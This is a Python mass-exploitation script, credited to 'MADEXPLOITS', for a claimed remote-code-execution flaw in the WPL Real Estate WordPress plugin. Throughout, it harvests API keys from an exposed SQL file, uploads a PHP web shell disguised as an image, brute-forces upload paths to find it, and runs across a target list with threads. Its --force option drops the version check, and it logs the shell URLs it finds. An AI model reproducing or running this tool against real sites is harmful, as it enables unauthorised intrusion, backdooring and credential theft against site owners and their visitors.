#!/usr/bin/env python3 """ CVE-2026-14483 - WPL Real Estate Plugin RCE (Mass Target - OOP Version) Exploit by MADEXPLOITS Enhanced with threading, colored output, version check (5.2.0), and clean progress. """ import requests import re import sys import os import tempfile import json import argparse import threading from typing import Optional, Tuple, List from concurrent.futures import ThreadPoolExecutor, as_completed import colorama from colorama import Fore, Style, init as colorama_init # Initialize colorama colorama_init(autoreset=True) # ---------------------------------------------------------------------- # Banner # ---------------------------------------------------------------------- BANNER = f""" {Fore.CYAN} __ __ _ _____ _ _ _ | \\/ | __ _ __| | ____|_ ___ __ | | ___ (_) |_ ___ | |\\/| |/ _` |/ _` | _| \\ \\/ / '_ \\| |/ _ \\| | __/ __| | | | | (_| | (_| | |___ > <| |_) | | (_) | | |_\\__ \\ |_| |_|\\__,_|\\__,_|_____/_/\\_\\ .__/|_|\\___/|_|\\__|___/ |_| {Style.RESET_ALL} {Fore.YELLOW} CVE-2026-14483 - WPL Real Estate RCE Exploit by MADEXPLOITS [*] Only vulnerable version 5.2.0 will be exploited (unless --force is used){Style.RESET_ALL} """ # ---------------------------------------------------------------------- # Utility print functions (colored) with a global lock # ---------------------------------------------------------------------- print_lock = threading.Lock() def print_info(msg): with print_lock: print(f"{Fore.BLUE}[*] {msg}{Style.RESET_ALL}") def print_success(msg): with print_lock: print(f"{Fore.GREEN}[+] {msg}{Style.RESET_ALL}") def print_warning(msg): with print_lock: print(f"{Fore.YELLOW}[!] {msg}{Style.RESET_ALL}") def print_error(msg): with print_lock: print(f"{Fore.RED}[-] {msg}{Style.RESET_ALL}") def print_debug(msg, debug=False): if debug: with print_lock: print(f"{Fore.CYAN}[D] {msg}{Style.RESET_ALL}") # ---------------------------------------------------------------------- # Default payload – a file‑upload shell that echoes "MADEXPLOITS" # ---------------------------------------------------------------------- DEFAULT_PAYLOAD = """

MADEXPLOITS

""" # ---------------------------------------------------------------------- # Main Exploit Class # ---------------------------------------------------------------------- class WPLExploit: """Handles exploitation of a single WordPress + WPL target (only if version == 5.2.0, unless force=True).""" def __init__( self, base_url: str, user_id: str = "1", payload: str = DEFAULT_PAYLOAD, max_id: int = 1000, timeout: int = 30, debug: bool = False, force: bool = False, ): self.base_url = base_url.rstrip('/') self.user_id = user_id self.payload = payload self.max_id = max_id self.timeout = timeout self.debug = debug self.force = force self.api_key: Optional[str] = None self.api_secret: Optional[str] = None self.upload_response: Optional[requests.Response] = None self.version: Optional[str] = None def get_plugin_version(self) -> Optional[str]: """Retrieve WPL plugin version from readme.txt or main plugin file.""" # Try readme.txt first readme_url = self.base_url + '/wp-content/plugins/real-estate-listing-realtyna-wpl/readme.txt' try: resp = requests.get(readme_url, timeout=self.timeout) if resp.status_code == 200: match = re.search(r'Stable tag:\s*([0-9.]+)', resp.text) if match: return match.group(1) match = re.search(r'Version:\s*([0-9.]+)', resp.text) if match: return match.group(1) except Exception: pass # Fallback: main plugin file (wpl.php) main_url = self.base_url + '/wp-content/plugins/real-estate-listing-realtyna-wpl/wpl.php' try: resp = requests.get(main_url, timeout=self.timeout) if resp.status_code == 200: match = re.search(r'Version:\s*([0-9.]+)', resp.text) if match: return match.group(1) except Exception: pass return None def get_credentials(self) -> Tuple[str, str]: """Extract api_key and api_secret from the public SQL dump.""" sql_path = ( self.base_url + '/wp-content/plugins/real-estate-listing-realtyna-wpl/assets/migrations/basic/1.0.0.sql' ) print_debug(f"Fetching SQL dump from {sql_path}", self.debug) resp = requests.get(sql_path, timeout=self.timeout) if resp.status_code != 200: raise RuntimeError(f"Failed to fetch SQL (HTTP {resp.status_code})") content = resp.text key_pattern = r"\(\s*34\s*,\s*'api_key'\s*,\s*'([^']*)'\s*," secret_pattern = r"\(\s*35\s*,\s*'api_secret'\s*,\s*'([^']*)'\s*," key_match = re.search(key_pattern, content) secret_match = re.search(secret_pattern, content) if not key_match or not secret_match: raise RuntimeError("Could not find api_key/api_secret in SQL dump") self.api_key = key_match.group(1) self.api_secret = secret_match.group(1) return self.api_key, self.api_secret def upload_shell(self) -> requests.Response: """Upload the PHP shell via the WPL I/O API (set_property).""" if not self.api_key or not self.api_secret: raise RuntimeError("API credentials not set. Call get_credentials() first.") endpoint = self.base_url + '/' params = { "wplview": "io", "wplformat": "io", "public_key": self.api_key, "private_key": self.api_secret, "cmd": "set_property", "commands_directory": "mobile_application", "dformat": "json", } data = { "user_id": self.user_id, "field_listing": "10", "field_property_type": "6", "field_price": "1000", "field_bedrooms": "2", } remote_name = "image_0x89MADEXPLOITS.php" with tempfile.NamedTemporaryFile(mode="w", suffix=".php", delete=False) as tmp: tmp.write(self.payload) tmp_path = tmp.name try: with open(tmp_path, "rb") as f: files = {"file[]": (remote_name, f, "image/jpeg")} resp = requests.post( endpoint, params=params, data=data, files=files, timeout=self.timeout ) finally: os.unlink(tmp_path) self.upload_response = resp return resp def find_shell(self) -> Optional[str]: """Brute‑force property ID to locate the uploaded shell.""" marker = "MADEXPLOITS" base = self.base_url for pid in range(1, self.max_id + 1): url = f"{base}/wp-content/uploads/WPL/{pid}/0x89MADEXPLOITS.php" try: resp = requests.get(url, timeout=self.timeout) if resp.status_code == 200 and marker in resp.text: return url except requests.RequestException: pass if pid % 100 == 0: print_debug(f"Scanned up to ID {pid}", self.debug) return None def run(self) -> Optional[str]: """Execute the full exploit chain, with optional version enforcement.""" try: print_debug(f"Processing target: {self.base_url}", self.debug) # Check plugin version self.version = self.get_plugin_version() if self.version is None: print_warning(f"Could not determine WPL version for {self.base_url}.") if not self.force: print_warning("Skipping (use --force to override).") return None else: print_warning("Force enabled – proceeding anyway.") elif self.version != "5.2.0": print_warning(f"WPL version {self.version} (not 5.2.0) on {self.base_url}.") if not self.force: print_warning("Skipping (use --force to override).") return None else: print_warning("Force enabled – proceeding anyway.") else: print_debug(f"WPL version {self.version} confirmed (vulnerable).", self.debug) # Proceed with exploitation print_debug("Fetching API credentials...", self.debug) self.get_credentials() print_debug(f"API Key: {self.api_key}", self.debug) print_debug(f"API Secret: {self.api_secret}", self.debug) print_debug("Uploading PHP shell...", self.debug) resp = self.upload_shell() print_debug(f"Upload HTTP status: {resp.status_code}", self.debug) if resp.status_code != 200: print_warning(f"Upload failed (non-200) for {self.base_url}") return None # Check JSON success flag if possible try: data = resp.json() if not data.get("result", {}).get("success", False): print_warning(f"Upload reported failure for {self.base_url}") return None except json.JSONDecodeError: pass print_debug("Upload successful. Brute‑forcing property ID...", self.debug) shell_url = self.find_shell() if shell_url: print_success(f"Shell found: {shell_url}") return shell_url else: print_warning(f"Could not locate shell for {self.base_url}. Try increasing --max-id.") return None except Exception as e: print_error(f"Error on {self.base_url}: {e}") return None # ---------------------------------------------------------------------- # Mass Exploit Handler with Threads & Clean Progress # ---------------------------------------------------------------------- class MassExploit: def __init__(self, target_file: str, output_file: str, args: argparse.Namespace): self.target_file = target_file self.output_file = output_file self.args = args self.targets: List[str] = [] self.lock = threading.Lock() self.found_count = 0 self.processed_count = 0 self.total_count = 0 def load_targets(self) -> int: try: with open(self.target_file, 'r') as f: self.targets = [] for line in f: url = line.strip() if not url: continue # Add http:// if no scheme is present if not url.startswith(('http://', 'https://')): url = 'http://' + url self.targets.append(url) self.total_count = len(self.targets) return self.total_count except Exception as e: print_error(f"Failed to read target file: {e}") sys.exit(1) def process_target(self, url: str) -> Optional[str]: print_info(f"Processing: {url}") exploit = WPLExploit( base_url=url, user_id=self.args.user_id, payload=self.args.payload, max_id=self.args.max_id, timeout=self.args.timeout, debug=self.args.debug, force=self.args.force, ) result = exploit.run() if result is None: print_info(f"Finished: {url} -> No shell found") else: print_info(f"Finished: {url} -> SUCCESS") return result def process_all(self) -> int: max_workers = self.args.threads print_info(f"Using {max_workers} concurrent threads.") with ThreadPoolExecutor(max_workers=max_workers) as executor: future_to_url = {executor.submit(self.process_target, url): url for url in self.targets} for future in as_completed(future_to_url): url = future_to_url[future] self.processed_count += 1 try: shell_url = future.result() if shell_url: with self.lock: with open(self.output_file, 'a') as out: out.write(shell_url + '\n') self.found_count += 1 except Exception as e: print_error(f"Exception processing {url}: {e}") print_info(f"Progress: {self.processed_count}/{self.total_count} | Found: {self.found_count}") return self.found_count # ---------------------------------------------------------------------- # Main Entry Point # ---------------------------------------------------------------------- def main(): print(BANNER) parser = argparse.ArgumentParser( description="CVE-2026-14483 - WPL Real Estate RCE (Mass Target) - only version 5.2.0 by default", epilog="Exploit by MADEXPLOITS" ) parser.add_argument( "--targets", required=True, help="File containing list of base URLs (one per line)", ) parser.add_argument( "--output", default="result.txt", help="Output file to append found shell URLs (default: result.txt)", ) parser.add_argument( "--user-id", default="1", help="User ID that will own the new property (default: 1)", ) parser.add_argument( "--payload", default=DEFAULT_PAYLOAD, help="PHP code to inject (default: a file‑upload shell with a form)", ) parser.add_argument( "--max-id", type=int, default=1000, help="Maximum property ID to brute‑force (default: 1000)", ) parser.add_argument( "--timeout", type=int, default=30, help="Timeout in seconds for each request (default: 30)", ) parser.add_argument( "--threads", type=int, default=5, help="Number of concurrent threads (default: 5)", ) parser.add_argument( "--debug", action="store_true", help="Enable debug output", ) parser.add_argument( "--force", action="store_true", help="Force exploitation even if version is not 5.2.0 or cannot be determined", ) args = parser.parse_args() mass = MassExploit(args.targets, args.output, args) total = mass.load_targets() print_info(f"Loaded {total} target(s). Output will be saved to '{args.output}'") found = mass.process_all() print_success(f"Done. Found {found} shell(s). Check '{args.output}' for URLs.") if __name__ == "__main__": main()